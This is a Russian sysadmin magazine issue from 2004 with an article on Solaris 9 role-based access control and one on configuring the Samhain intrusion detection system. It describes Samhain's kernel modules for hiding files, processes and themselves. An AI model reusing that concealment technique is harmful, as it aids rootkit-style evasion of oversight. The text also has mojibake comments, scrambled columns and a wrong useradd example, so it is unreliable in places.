администрирование Введение в RBAC Не секрет, что в классических UNIX-системах суперпользователь root имеет все полномочия по управлению системой. С другой стороны, возможности обычного пользователя ограничены домашним каталогом и рядом пользовательских приложений. Однако в условиях чрезвычайно возросшей мощности серверных UNIX-систем, а следовательно, увеличения количества обслуживаемых пользователей и решаемых задач, усложнения периферии и современных требований к безопасности, существует необходимость разделения административных полномочий на нескольких пользователей. В современных UNIX-системах эта задача решается тем или иным способом. Примером может служить всем известная технология sudo. Рассмотрим, какие средства в этом контексте предоставляет нам ОС Solaris 9. Role based access control (в дальнейшем RBAC) является чрезвычайно гибким и мощным антиподом упомянутой классической радикальной двухуровневой схеме. RBAC позволяет делегировать определенные возможности суперпользователя группам пользователей. Это позволяет им выполнять конкретные административные задачи. Например, управлять печатью, операциями резервного копирования и т. д. Основная идея RBAC заключается в предоставлении определенных наборов прав суперпользователя группам пользователей. Такой набор прав и называется ролью. Отдельные пользователи могут быть наделены несколькими ролями. Однако роль не может ссылаться на другую роль. По отношению к использованию RBAC, стратегии управления системой можно условно разделить на следующие категории: ! Без использования RBAC. Это уже упомянутая классическая двухуровневая модель: все операции по администрированию системы выполняются суперпользователем (root). ! Использование роли root. Бюджет суперпользователя реализован в виде роли. Пользователи, принадлежащие к этой роли, входят в систему под своими именами, а уже после авторизуют себя в роли, выполняя su root. ! Используется одна роль на основе профайла Primary Administrator. Практически аналогична второму пункту. ! Используются роли на основе предопределенных в Solaris Operating Environment (далее SOE) типовых профайлах, таких как Primary Administrator, System Administrator, Operator и т. д. ! Специальные пользовательские роли создаются для решения отдельных задач, исходя из конкретной стратегии администрирования системы. Эти роли могут основываться на наборах как предопределенных профайлов, так и специально созданных. В зависимости от конкретных потребностей организации выбирается та или иная стратегия использования технологии RBAC. Технология RBAC строится на двух базовых понятиях: профайл прав (rights profile) и авторизация (authorization)1. Под профайлом прав понимается набор определенных привилегий, которые могут быть делегированы пользовате-

№5(18), май 2004

лю или роли. Профайл прав включает в себя авторизации, команды с атрибутами их выполнения и другие профайлы. Как уже было отмечено выше, SOE включает в себя набор предопределенных профайлов прав, которые, по мнению разработчиков Solaris, отвечают конкретным типовым задачам управления системой. Вот лишь некоторые из них: Basic Solaris User, Operator, Media Backup, User Security, FTP Management. Помимо предопределенных профайлов прав, можно создавать собственные профайлы. Авторизация – определенное право доступа к той или иной компоненте системы, которым может быть пользователь или роль. Существуют целые классы авторизаций. Для наглядности приведу пример: solaris.admin.usermgr.read solaris.admin.usermgr.write solaris.admin.usermgr.passwd

Как несложно догадаться, каждая из трех приведенных авторизаций отвечает за управление пользовательскими бюджетами: на это указывает префикс solaris.admin.usermgr. Первая позволяет читать информацию о пользовательских бюджетах, вторая – их модифицировать, а третья разрешает изменение пользовательских паролей. Если авторизация заканчивается суффиксом grant, то она позволяет делегировать права на все операции префикса. Авторизации локальной системы всегда начинаются со слова «solaris», авторизации, предоставляемые другими системами, начинаются с реверсивной записи DNS-имени хоста2. Вообще говоря, помимо определенных в SOE авторизаций, новые локальные авторизации создавать нельзя. Реализация RBAC в Solaris 9 базируется на 2 + 4 + 1 = 7 базах данных. Почему 2 + 4 + 1? Две первые базы – это стандартные для UNIX-систем файлы /etc/passwd и /etc/shadow. Назначение их известно, их структуру мы рассматривать здесь не будем. Я лишь продемонстрирую место этих файлов в технологии RBAC. Следующие четыре – это RBAC-специфические базы. Собственно, они и есть RBAC. Их-то мы и рассмотрим подробно. Первый из четырех – файл /etc/user_attr. Этот файл содержит объявления ролей и пользователей с их профайлами прав и авторизациями, а также определяет принадлежность пользователей ролям. Каждая запись (строка) этого файла соответствует одноименной записи в файлах /etc/passwd и /etc/shadow. В определенном смысле user_attr является расширением базы пользовательских бюджетов /etc/passwd. Структура записей файла такова: user/role name:íå÷òî1:íå÷òî2:íå÷òî3:ñïèñîê àòðèáóòîâ

Каждое поле отделяется от другого двоеточием. Первое поле – это имя пользователя или роли, второе, третье и четвертое поля («нечто») в настоящее время пусты, они зарезервированы для возможного последующего использования в будущих версиях Solaris. В последующих описаниях форматов баз я буду эти поля просто оставлять пустыми. Последнее поле содержит атрибуты, разделенные точкой с запятой. Атрибут состоит из названия типа

45


администрирование атрибута, знака «=» и соответствующих ему значений, разделенных запятой. Атрибуты бывают четырех типов: ! type – указывает тип записи, ! normal – соответствует обычному пользователю, ! role – роли, ! auths – содержит перечни авторизаций, разделенные запятой. Авторизации в качестве суффикса могут содержать символ * для обозначения всех операций, определяемых префиксом; profiles содержит перечень профайлов прав, разделенных запятой; roles содержит перечень ролей, к которым относится пользователь. Разумеется, этот атрибут применим только для записей с типом normal, т.е. для записи пользователя, поскольку, как это было сказано выше, нельзя задавать роль на основе других ролей. В качестве примера приведу фрагмент файла /etc/user_attr моей системы: # Copyright (c) 1999-2001 by Sun Microsystems, Inc. # All rights reserved. # # /etc/user_attr # # user attributes. see user_attr(4) # #pragma ident "@(#)user_attr 1.5 01/12/11 SMI" # root::::auths=solaris.*,solaris.grant;profiles=All lp::::profiles=Printer Management adm::::profiles=Log Management master::::type=role;profiles=Primary Administrator team::::type=role;profiles=Device Management, ↵ Media Backup,Media Restore,Log Management ivanov::::type=normal;roles=master petrov::::type=normal;roles=team

Запись master определяет основную административную роль на основе профайла Primary Administrator, запись ivanov определяет пользователя и его принадлежность роли master. Обратите внимание на то, что роль team построена на базе сразу четырех профайлов прав. Как следует из названия профайлов, пользователи, принадлежащие к роли team, могут управлять сменными накопителями, производить операции резервного копирования и восстановления данных и управлять системой ведения log-файлов. Второй из четырех – файл /etc/security/prof_attr. Файл является базой данных профайлов прав. Приведу структуру файла: profile_name:::îïèñàíèå:àòðèáóòû

Атрибуты записей в этом файле бывают двух типов:

the user or role:help=RtAll.html

Как мы видим, роль team ссылается на профайлы прав, определенные в обсуждаемом файле. Заметим, что эта база данных позволяет также определять профайлы прав на основе ранее описанных профайлов. Третий из четырех – файл /etc/security/auth_attr. База auth_attr описывает авторизации. Из всех RBAC-баз данных это единственная база, которую нельзя редактировать вручную, т.е. нельзя самостоятельно определять авторизации. Формат файла auth_attr следующий: auth_name:::êðàòêîå îïèñàíèå:ïîäðîáíîå îïèñàíèå:àòðèáóòû

В настоящее время единственным возможным атрибутом является указатель на help-файл. Возможно, что в следующих реализациях RBAC появятся и другие атрибуты, но пока он один. Пример фрагмента базы: solaris.device.::: Device Allocation::help=DevAllocHeader.htmlsolaris. ↵ device.grant:::Delegate Device Administration::help=DevGrant.html.

Обратите внимание на первую из приведенных строк: имя авторизации состоит из префикса и заканчивается точкой. Такие записи служат для объявления оглавления группы авторизаций одноименного префикса в программах с графическим интерфейсом. И наконец, четвертый файл – /etc/security/exec_attr. Эта база определяет соответствие профайлов прав конкретным командам и атрибутам их выполнения. Структура файла такова: prof_name:policy:òèï:::êîìàíäà:àòðèáóòû

В текущей реализации RBAC поле policy может принимать единственное значение – suser (суперпользователь), а тип может быть только cmd (команда). Под командой подразумевается полный путь к исполняемому файлу или shell-скрипту; если в поле команды стоит символ *, то это означает любую команду. Атрибуты, как и раньше, разделяются точкой с запятой и могут быть четырех типов: ! uid – идентификатор пользователя, ! euid – эффективный идентификатор пользователя, ! gid – идентификатор группы, ! egid – эффективный идентификатор группы. Последний из рассматриваемых файлов (помните, +1)

! help – задает файл подсказки в формате html, /etc/security/policy.conf. Он задает авторизации и профай! auths – содержит перечни авторизаций, разделенные лы прав, предоставляемые пользователю по умолчанию. запятой. Авторизации в качестве суффикса могут содержать символ * для обозначения всех операций, определяемых префиксом; profiles содержит перечень профайлов прав, разделенных запятой. Вот фрагмент файла prof_attr: Device Management:::Control Access to Removable Media: ↵ auths=solaris.device.*,solaris.admin.serialmgr.*; ↵ help=RtDeviceMngmnt.htmlAll:::Execute any command as ↵

46

Как видно из примера, файл содержит две записи: # Copyright 1999-2002 Sun Microsystems, Inc. # All rights reserved. # Use is subject to license terms. AUTHS_GRANTED=solaris.device.cdrw PROFS_GRANTED=Basic Solaris User

Разумеется, значения этих двух полей должны быть определены в файлах auth_attr и prof_attr.


администрирование Взаимодействие компонентов RBAC

Ðèñóíîê 1. Êîìïîíåíòû RBAC è âçàèìîäåéñòâèå ìåæäó íèìè

Поясню связи компонентов RBAC комментариями. Прежде всего напомню, что каждой записи в user_attr соответствуют одноименные записи в файлах /etc/passwd и /etc/shadow. Стоит обратить внимание на то, что в строках ролей файла /etc/passwd в поле командного интерпретатора стоит не обычный пользовательский shell (bash, csh, sh), а так называемый «профайловый» shell (profile shell) с префиксом pf: ...team:x:102:1:Operators' Team:/export/home/team: ↵ /bin/pfshivanov:x:103:1:V. Ivanov:/export/home/ivanov: ↵ /usr/bin/bash...

пользования утилиты smc является набор консольных утилит. Перечислим их и приведем их назначение. Информационные команды: ! auths – выводит перечень авторизаций, которыми обладает пользователь(и). Выполнение этой команды без параметров выводит список авторизаций текущего пользователя. ! profiles – выводит перечень профайлов, которыми обладает пользователь(и). ! roles – выводит имена ролей, к которым принадлежит пользователь(и). Команды useradd, userdel, usermod и roleadd, roledel, rolemod позволяют добавлять, удалять и изменять пользователей и роли соответственно. Утилита smrole управляет ролями и позволяет добавлять и удалять пользователя в роль. smprofile и smexec управляют содержимым баз prof_attr и exec_attr. Утилиты, название которых начинается с sm, требуют запущенной Solaris Management Console. Подробная информация об этих командах и их опциях содержится в manстраницах (1M), мы же ограничимся несколькими простыми примерами использования. Вернемся к рассмотренному нами фрагменту файла user_attr: ...master::::type=role;profiles=Primary Administratorivanov ::::type=normal;roles=masterteam::::type=role; ↵ profiles=Device Management,Media Backup,Media Restore, Log Managementpetrov::::type=normal;roles=team...

↵ ↵

Когда пользователь авторизуется в роли, то запускается соответствующий profile shell, и в дальнейшем все команды выполняются при помощи pfexec с текущими полномочиями, которые определены в роли. Записи в /etc/user_attr, обозначающие пользователей, могут ссылаться на описанные в нем же роли. Атрибуты auths и profiles ссылаются соответственно на авторизации (файл /etc/security/auth_attr) и профайлы прав (файл /etc/security/prof_attr). Записи профайлов прав в файле /etc/security/prof_attr ссылаются на: ! другие профайлы, определенные в этом же файле; ! авторизации, описанные в файле auth_attr; ! одну или несколько строк в файле /etc/security/exec_attr, которая и начинается с имени данного профайла.

Приведу здесь команды, при помощи которых созданы роли master и team, пользователи ivanov и petrov, принадлежающие к соответствующей роли. Создаем роль master:

Управление RBAC

Обратите внимание на то, что при перечислении профайлов прав между запятой и именем следующего профайла пробелов быть не должно. Разумеется, задавать можно только существующие профайлы, определенные в файле /etc/security/prof_attr. Добавляем пользователя ivanov и определяем его принадлежность роли master:

Операционное окружение Solaris (SOE) предусматривает три способа управления ролевыми бюджетами. Самым «цивилизованным» способом является управление при помощи утилиты с графическим интерфейсом Solaris Management Console (smc)3. На рис. 2 показано окно Solaris Management Console. Я не думаю, что стоит подробно рассказывать об управлении ролями и пользовательскими бюджетами при помощи этой утилиты: человек, знакомый с графическими оболочками и понимающий концепции и структуру RBAC, без труда разберется. Замечу лишь, что для управления ролями и пользовательскими бюджетами, разумеется, необходимы соответствующие права. Альтернативой ис-

№5(18), май 2004

# roleadd -m -d /export/home/master -c "Main Admins" ↵ -P "Primary Administrator" master

В опции -d указывается домашний каталог роли, ключ -m разрешает автоматическое создание каталога, если таковой не существует. Опция -c задает комментарий, а -P – перечень профайлов прав, на которых должна базироваться роль. Создаем роль team: # roleadd -m -d /export/home/team -c "Operators' team" ↵ -P "Device Management,Media Backup,Media Restore, ↵ Log Management" team

master:#useradd -m -d /export/home/ivanov -c "V. Ivanov" ↵ -s /usr/bin/bash -R master

Добавляем пользователя petrov и определяем его принадлежность роли team: #useradd -m -d /export/home/petrov -c "V. Ivanov" ↵ -s /usr/bin/bash -R petrov

47


администрирование

Ðèñóíîê 2. Solaris Management Console

Полагаю, что две последние команды не нуждаются в комментариях. Помимо двух рассмотренных подходов в управлении ролями есть и третий: прямое редактирование баз данных RBAC (как уже сказано, кроме файла /etc/security/ auth_attr), но этот подход не рекомендован разработчиками из Sun Microsystems по причине «возможных синтаксических ошибок».

3. System Administration Guide: Basic Administration, Sun Microsystems, Inc. 4. man pages section 1M: System Administration Commands, Sun Microsystems, Inc. 1

2

Список используемых источников: 1. System Administrator Guide: Security Services, Sun Microsystems, Inc. 2. Advanced System administration for the Solaris 9 Operating Environment, Sun Microsystems, Inc.

48

3

На русском языке названия этих понятий звучат несколько неказисто, но это извечная проблема перевода англоязычной компьютерной терминологии. В данной статье мы не рассматриваем технологию RBAC в контексте взаимодействия с доменами NIS и NIS+, все рассматриваемые нами примеры относятся к локальной системе. В составе Solaris 9 поставляется Solaris Management Console 2.1.



безопасность

ЦЕНТРАЛИЗОВАННОЕ ОБНАРУЖЕНИЕ ВТОРЖЕНИЯ С SAMHAIN

СЕРГЕЙ ЯРЕМЧУК 50


безопасность На сегодняшний день существует достаточное количество технологий, позволяющих защитить систему от вторжения извне. На первом рубеже нападающего встретит firewall, защищающий против злонамеренного/нежелательного трафика из внешней/внутренней сети, но он должен все равно пропускать часть пакетов из/во внутренней сети, иначе перестанут работать полезные сервисы. Проще, наверное, вообще отключить такую сеть от Интернета, и совсем он бесполезен против некоторых атак вроде перебора пароля или направленных на уязвимости в легальном сервисе. Поэтому добавляют следующий уровень защиты, сетевые системы обнаружения атак – Network Intrusion Detection System (NIDS), которые по известным сигнатурам обнаруживают злонамеренный трафик, но подчас бесполезны против новых неизвестных методов атак. И опять же не защищают от перебора пароля. Поэтому на следующем шаге применяют уже «индивидуальные» host-based системы, позволяющие обнаружить вторжение, например, производя контроль целостности файловой системы, некоторые реализации вроде Logcentry или Hostcentry позволяют обнаружить вторжение (и даже попытку) методом анализа лог-файлов или, используя технологию Login Anomaly Detection, исследовать подозрительные действия на входе в систему. Плюс для повышения защиты стоит добавить систему защиты от LKM rootkits вроде rkdet (http://vancouver-webpages.com/ rkdet/). Используя все эти технологии вместе, дополнительно наложив на ядро патч вроде LIDS (http://www.lids.org/), позволяющий контролировать доступ к важным данным, можно надежно запереть как сеть, так и отдельные компьютеры. Но есть одно неудобство. Принцип KISS (Keep It Simple Stupid) хорошо любимый программистами UNIXсистем, когда программа выполняет только одну маленькую функцию, но хорошо, а при необходимости более широких возможностей все необходимое просто склеивается при помощи скриптов, в этом случае только может помешать. Так начинающему админу приходится кроме настройки нескольких необходимых для работы сервисов, ставить и разбираться еще во всех приложениях защиты. Но это хозяйство не только необходимо настроить и запустить, что подчас не так просто, так как большая часть опций настраивается при помощи конфигурационных файлов, без удобного интерфейса, но нужно и поддерживать всегда в самом свежем состоянии, и притом не на одном, а сразу на всех компьютерах в сети. Это только одна из проблем. Другая состоит в том, что все эти приложения подчас никак не связаны между собой, поэтому выдаваемая ими информация никак не централизована, поступает со всех компьютеров и в большом количестве, обычно в виде e-mail. Я думаю, что это основная причина, мешающая, несмотря на низкую стоимость, активному продвижению UNIXподобных систем. Не каждый сможет все сразу осилить, и опыт приходит со временем и только с собственными ошибками. Наверное, поэтому в настоящее время становятся все более популярными комплексные решения защиты системы, объединяющие в себе несколько задач,

№5(18), май 2004

как правило, с возможностью централизованного управления, обновления или хотя бы сбора данных, иногда с графическим интерфейсом или возможностью настройки через веб-интерфейс. Об одном из таких решений и пойдет речь в статье. Samhain на сайте http://www.la-samhna.de/samhain/ index.html назван «open source file integrity and host-based intrusion detection system», т.е. относится к системам, защищающим отдельный хост. Но возможности даже по скромному перечислению просто впечатляют. Главное – это интеграция нескольких составляющих, позволяющая полностью охватить практически все вопросы по защите системы, не распыляя внимание. Для работы достаточно настроить одно-единственное приложение под свои нужды и в дальнейшем при необходимости обновлять только его. Следующая немаловажная деталь, Samhain возможно настроить не только для защиты отдельного хоста, но и заставить работать в клиент-серверной реализации, когда датчики, установленные на удаленных узлах, отсылают всю собранную информацию по зашифрованному каналу на отдельный сервер. При этом все обновления и конфигурационные файлы также могут быть централизованно размещены на сервере и при загрузке забираться оттуда клиентами, что позволяет оперативно вносить изменения в настройки и легко производить обновление. Плюс несомненным преимуществом является возможность добавления своего модуля, о том, как это можно сделать, описано в документации, в частности в HOWTO-writemodules. Состоит система Samhain из трех компонентов: ! клиента или реализации системы на отдельно стоящем компьютере – samhain; ! сервера, предназначенного для централизованного сбора логов и управления клиентами – yule; ! веб-консоли для удаленного управления – beltane. Поддерживаются несколько вариантов оповещения или отсылки собранной информации, e-mail, в котором используется свой собственный код, реализующий отсылку по протоколу SMTP, почта при этом подписывается во избежание подделки, естественно syslog, при запуске в виде daemon для вывода ошибок используется устройство /dev/console, которое может быть заменено, используя FIFO. Далее для хранения используется отдельный логфайл, который также подписывается во избежание подделки. Для централизованного сбора информации от нескольких клиентов возможно использование отдельного лог-сервера, который использует протокол TCP и шифрование сообщений, также для хранения информации, собранной от клиентов, возможно использование RDBMS базы данных. На эту роль подходят PostgreSQL, MySQL, имеется поддержка Oracle и unixODBC, но пока полностью на них не протестирована. Дополнительно возможно использование и других внешних программ или выполнение определенных команд. Samhain был протестирован на Linux, FreeBSD, AIX 4.x, HP-UX 10.20, Unixware 7.1.0, Solaris 2.6, 2.8 и Alpha/True64. Имеются данные об успешной работе на системах под управлением OpenBSD и HP-UX 11 и, возможно, будет работать и под Mac OS X. Также возможен запуск на

51


безопасность Windows 2000 в среде Cygwin, который эмулирует POSIX, но Cygwin использует общедоступные области памяти для хранения информации процессов, что не очень хорошо с точки зрения безопасности. Samhain придерживается стандарта Filesystem Hierarchy Standard (FHS), предписывающего рекомендуемое расположение каталогов в UNIXсистемах. Для своей работы Samhain использует базу данных сигнатур, которая создается при первом запуске и в дальнейшем сравнивается с живой системой. В такой базе содержится информация о 192-битной контрольной сумме по алгоритму TIGER (возможно использование SHA-1 или MD5), inode, типе файла, владельце и группе, правах доступа, флаги ext2 файловой системы, временных метках, размере, количестве жестких ссылок, minor и major номеров для файлов устройств и для символических ссылок имя файла, на которое она ссылается.

Установка и конфигурация

samhain.ebuild файл для Gentoo). Итак, скачиваем архив samhain-current.tar.gz, распаковываем: #tar xvzf samhain-current.tar.gz

В текущем подкаталоге образуются два файла samhain-1.8.3.tar.gz.asc и samhain-1.8.3.tar.gz, рекомендуется первоначально проверить подлинность и целостность исходного текста при помощи gpg: #/usr/bin/gpg --keyserver pgp.mit.edu --recv-key 0F571F6C #/usr/bin/gpg --verify samhain-1.8.3.tar.gz.asc ↵ samhain-1.8.3.tar.gz

Второй вариант состоит в проверке контрольной MD5суммы, и сравнении ее с той, которая имеется на сайте. # md5sum samhain-1.8.3.tar.gz e959ccc997e74e13a037c3281c41a581 samhain-1.8.3.tar.gz

Теперь распаковываем архив, заходим внутрь, и теперь у нас два возможных варианта установки. Первый, более простой, происходит в графическом режиме, для этого вводим ./Install.sh (должны быть установлены пакеты dialog или xdialog), в результате чего появляется окно, изображенное на рис. 1 и 2, и далее будут задаваться вопросы о будущей конфигурации системы samhain, но в моем случае было получено такое сообщение:

Ðèñóíîê 1

Не хотелось ради какого-то ненужного в системе диалога лезть в Интернет, поэтому воспользовался еще одним подобным инструментом lxdialog, который идет вместе с исходными текстами ядра и лежит в /usr/src/linux/ scripts/lxdialog. Так как программа конфигурирования, найдя программу dialog, далее отказывалась работать, пришлось ее временно убрать: # whereis dialog dialog: /usr/bin/dialog /usr/share/man/man1/dialog.1.gz # mv /usr/bin/dialog /usr/bin/dialog_bak

После чего удалось настроить систему в графическом режиме. Если что-то не получается, то в таком случае установку можно произвести стандартными: Ðèñóíîê 2

Так как Samhain представляет собой довольно продвинутое приложение со множеством возможностей, о которых просто необходимо рассказать, чтобы сложилось наиболее полное представление о продукте, а документация, как мне кажется, не совсем понятна и логична, то построим далее статью так. Вместе с некоторыми опциями конфигурирования будут указаны параметры конфигурационного файла, которые потребуются, чтобы реализовать эти возможности, а ниже будет описан общий конфигурационный файл для клиента и отличающиеся опции для сервера. Samhain распространяется исключительно в виде исходного текста по причинам, которые поймете по ходу изложения материала. Но в документации, поставляемой вместе с архивом, имеются разделы, объясняющие, как создать прекомпилированный пакет для некоторых поддерживаемых систем (в последней версии появился и

52

#./configure [options] #make #su $make install

Если выполнить команду ./configure без дополнительных параметров, получим samhain, который контролирует только локальную систему, без серверно/клиентской архитектуры и прочих, не всегда нужных наворотов, в таком случае это будет напоминать что-то вроде Tripwire. Иначе обратим внимание на дополнительные опции, существенно расширяющие возможности. Для этого вначале даем команду ./configure с ключом help. ! --enable-login-watch – (по умолчанию – нет) компиляция с режимом контроля входа в систему и выхода из системы системных пользователей, используя файлы utmp и wtmp. Для настройки необходимо создать секцию SuidCheck:


безопасность [Utmp] # âêëþ÷åíèå/âûêëþ÷åíèå ïðîâåðîê (0 – off, 1 – on) LoginCheckActive=1 # èíòåðâàë âðåìåíè ìåæäó ïðîâåðêàìè â ñåêóíäàõ LoginCheckInterval=600 # ñåðüåçíîñòü ñîáûòèÿ, äîñòàòî÷íî èíôîðìàöèîííîãî SeverityLogin=info SeverityLogout=info # à âîò åñëè îäèí è òîò æå ïîëüçîâàòåëü çàðåãèñòðèðîâàëñÿ # ìíîãîêðàòíî, òî ýòî ñîáûòèå ñêîðåå êðèòè÷åñêîå SeverityLoginMulti=crit

! --with-suidcheck – (по умолчанию – нет) заставит samhain проверять все SUID/SGID-программы в определяемых пользователем интервалах и сообщать при появлении новых, не внесенных в базу данных. После инициализации базы данных, все SUID/SGID-файлы будут автоматически включены в базу данных. Естественно не работает на nfs, proc, msdos, vfat и iso9660 и других файловых системах с опцией монтирования nosuid, поэтому не стоит включать их в базу данных. Для настройки необходимо создать секцию SuidCheck примерно такого содержания: [SuidCheck] # âêëþ÷åíèå/âûêëþ÷åíèå ïðîâåðîê (0 – off, 1 – on) SuidCheckActive=1 # èíòåðâàë ìåæäó ïðîâåðêàìè â ñåêóíäàõ # (ïî óìîë÷àíèþ – 7200 ñåê., ò.å. 2 ÷àñà) # SuidCheckInterval=86400 # èëè ìîæíî çàäàòü âðåìÿ ïðîâåðêè â ñòèëå crontab, # íàïðèìåð, â 05:30 êàæäûé äåíü, ÷òîáû, ïðèäÿ # íà ðàáîòó, ïîëó÷èòü èíôîðìàöèþ. SuidCheckSchedule=30 5 * * * # ñåðüåçíîñòü ñîáûòèÿ, åñòåñòâåííî, êðèòè÷åñêàÿ SeveritySuidCheck=crit # òàê ìîæíî èñêëþ÷èòü îäèí êàòàëîã èç ñïèñêà ïðîâåðÿåìûõ # (íàïðèìåð, ñòðîêà äëÿ Solaris) #SuidCheckExclude=/net/localhost # òàê êàê ïðîâåðêà SUID/SGID – äåëî íàêëàäíîå, òî ìîæíî # îãðàíè÷èòü êîëè÷åñòâî ïðîâåðÿåìûõ ôàéëîâ â ñåêóíäó # (files per seconds) SuidCheckFps=250

На все первоначально найденные SUID/SGID-файлы будут выведены примерно такие сообщения:

А если найдутся новые, то программа начнет нервничать и сообщит администратору о находке. ! --with-kcheck – (по умолчанию – нет) проверка системы на наличие kernel rootkit загружаемых при помощи LKM (loadable kernel module). Хочется напомнить, что отказ от поддержки модулей в ядре, не устраняет их модификацию через /dev/kmem. Для GNU/Linux требуется указать место расположение файла System.map (обычно строка выглядит так: --with-check=/boot/ System.map), для FreeBSD этого не требуется. Для конфигурирования добавляем секцию Kernel: [Kernel] # âêëþ÷åíèå/âûêëþ÷åíèå ïðîâåðîê (0 – off, 1 – on) KernelCheckActive=1 # èíòåðâàë ìåæäó ïðîâåðêàìè â ñåêóíäàõ (ïî óìîë÷àíèþ 300) KernelCheckInterval=20 # ïðîâåðêà interrupt descriptor table # (ïî óìîë÷àíèþ TRUE) KernelCheckIDT=TRUE # ñåðüåçíîñòü ñîáûòèÿ SeverityKernel=crit

№5(18), май 2004

! --enable-install-name=samhain|yule – очень интерес-

!

!

ная опция, позволяющая дать другое произвольное, не вызывающее подозрений имя, с которым и скомпилировать программу, при этом оно будет автоматически заменено во всех скриптах. Это позволит скрыть наличие в системе этой утилиты. При компиляции samhain в среде клиент|сервер без использования этой опции имя samhain|yule будет дано автоматически. --enable-khide=System.map (только для Linux) компилирует и устанавливает два модуля ядра: samhain_hide.o и samhain_erase.o. Модуль samhain_hide.o спрячет файлы, каталоги и процессы с именем, указанным в опции --enable-install-name=NAME или если такая опция не используется, то по умолчанию принимается samhain. Второй, samhain_erase.o, предназначен для скрытия самих модулей. --enable-mounts-check – модуль, написанный Computer Incident Response Team, позволяет контролировать правильность опций монтирования файловых систем. Этот модуль в настоящее время поддерживает Linux, Solaris и FreeBSD. Требует секции Mounts для настройки: [Mounts] # âêëþ÷åíèå/âûêëþ÷åíèå ïðîâåðîê (0 – off, 1 – on) MountCheckActive=1 # èíòåðâàë ìåæäó ïðîâåðêàìè â ñåêóíäàõ MountCheckInterval=7200 # ñåðüåçíîñòü ñîáûòèÿ, îòñëåæèâàåòñÿ ïðàâèëüíîñòü # ìîíòèðîâàíèÿ è êîððåêòíîñòü îïöèè ìîíòèðîâàíèÿ SeverityMountMissing=warn SeverityOptionMissing=warn # ïåðå÷èñëÿþòñÿ òî÷êè ìîíòèðîâàíèÿ ñî ñïèñêàìè # ïàðàìåòðîâ, êîòîðûå íóæíî îòñëåæèâàòü checkmount=/ checkmount=/var checkmount=/usr checkmount=/tmp noexec,nosuid,nodev checkmount=/home noexec,nosuid,nodev

! --enable-userfiles – еще один модуль от Computer Incident Response Team, позволяющий отслеживать изменения конфигурационных файлов пользователей вроде .profile. За настройку отвечает секция UserFiles: [UserFiles] # UserfilesActive=1 # âêëþ÷åíèå/âûêëþ÷åíèå ïðîâåðîê (0 – off, 1 – on) # ôàéëû, ïðîâåðÿåìûå â êàæäîì $HOME # âîçìîæíî çàäàíèå ñëåäóþùèõ óðîâíåé, îòñëåæèâàþùèõ # îïðåäåëåííûå èçìåíåíèÿ, ïî óìîë÷àíèþ èñïîëüçóåòñÿ # noignore # allignore # attributes # logfiles # loggrow # noignore # readonly # user0 # user1 # UserfilesName=.login noignore UserfilesName=.profile readonly UserfilesName=.ssh/authorized_keys # # âîçìîæíî çàäàíèå ñïèñêà ïðîâåðÿåìûõ UID, ïî óìîë÷àíèþ # ïðîâåðÿþòñÿ âñå ïîëüçîâàòåëè UserfilesCheckUids=0,100-500,1000-

53


безопасность ! --with-trusted=0, UID1, UID2 – список доверенных пользователей, которым разрешен доступ к файлам, в том числе запись. По умолчанию UID равен 0, но можно через запятую добавить еще значения (не забыв про 0). С одной стороны это облегчает работу и повышает защищенность, т.к. нет необходимости лишний раз прибегать к учетной записи администратора, но с другой стороны нужно быть осторожным и внимательным, т.к. если дополнительный доверенный пользователь является членом группы, то к файлам могут получить доступ и члены группы. Также при использовании этой опции могут возникнуть приблизительно такие проблемы:

Для PostgreSQL установка будет выглядеть так: # $ $ $ $

su postgres createdb samhain createuser samhain psql -d samhain < samhain.postgres.init exit

Для MySQL тоже не сложно: #mysql -p -u root < samhain.mysql.init #mysql -p -u root #mysqladmin -p -u root reload

При использовании базы данных необходимо добавить в секцию Log: [Log] DatabaseSeverity=warn

И создать секцию Database, изменив поля, значение которых очевидно:

Некоторые проблемы решаются просто, вроде этого: # chown root:root /etc/samhainrc

Но с другой стороны, при попытке изменить посторонним одного из этих параметров, вы будете предупреждены. Дополнительно имеется опция --with-identity=USER, которая указывает на имя пользователя, которое будет использоваться для понижения привилегий программы после запуска (по умолчанию nobody). ! --with-prelude – опция, благодаря которой я в принципе и обратил серьезное внимание на samhain. При ее включении возможно использование samhain как датчика Open Source Hybrid Intrusion Detection System Prelude и контролировать еще ряд дополнительных параметров, в том числе и сеть. Настройка самого Prelude – тема отдельной статьи. Пока достаточно взять с http://www.prelude-ids.org/rubrique.php3?id_rubrique=6 файл библиотек libprelude и установить его обычным образом. ! --enable-xml-log – журнал событий, по умолчанию находящийся в /var/log/samhain_log, будет вестись в формате XML, эта опция будет обязательной при включении некоторых других опций (базы данных, например). ! --with-database=[mysql|postgresql|oracle|odbc] – включение поддержки выбранной базы данных, в которую затем будут заноситься данные (требует --with-xml-log, PostgreSQL не любит опцию --enable-static). По умолчанию сервер базы данных размещается на localhost, база данных называется samhain, содержит таблицу «log», доступ к которой осуществляется без пароля. Для автоматического создания соответствующей базы данных и таблицы в комплекте имеются скрипты «samhain.mysql.init», «samhain.postgres.init» и «samhain.oracle.init».

54

[Database] SetDBName=db_name SetDBTable=db_table SetDBHost=db_host SetDBUser=db_user SetDBPassword=db_password SetDBServerTstamp=true/false – timestamp äëÿ ñîîáùåíèé êëèåíòîâ

! --with-gpg=/full/path/to/gpg – samhain использует GnuGP для подписи файла конфигурации и базы данных сигнатур, выдавая контрольную сумму. При этом ее всегда можно сверить, запустив: gpg -a --clearsign --not-dash-escaped FILE

Но использовав опцию --with-gpg, можно возложить часть работы на samhain. При этом программа конфигурации проверит, чтобы доверенные пользователи имели доступ к gpg, а gpg будет вызываться без использования переменных оболочки по полному пути, указанному при компиляции, со средой ограниченной переменной $HOME, используя файл $HOME/.gnupg. Для облегчения работы с подписью и проверкой файлов имеется Perl-скрипт samhainadmin.pl, который первоначально придется заточить под свою систему. При помощи опции --with-checksum=CHECKSUM можно вбить в программу контрольную сумму бинарника gpg, которая будет проверяться каждый раз при обращении к нему, что позволит контролировать оригинальность gpg (можно и отказаться, использовав --with-checksum=no). Контрольную сумму можно узнать, использовав такую команду: #/usr/bin/gpg --load-extension tiger --print-md TIGER192 ↵ /usr/bin/gpg

И теперь в строке конфигурирования: --with-checksum="/usr/bin/gpg: 1C739B6A F768C949 FABEF313 ↵ 5F0B37F5 22ED4A27 60D59664"

Но это еще не все, простой факт, что сигнатура является правильной, не доказывает, что это было подписано именно вами и вашим ключом – только доказывает, что это было подписано кем-то. Для того чтобы Samhain мог


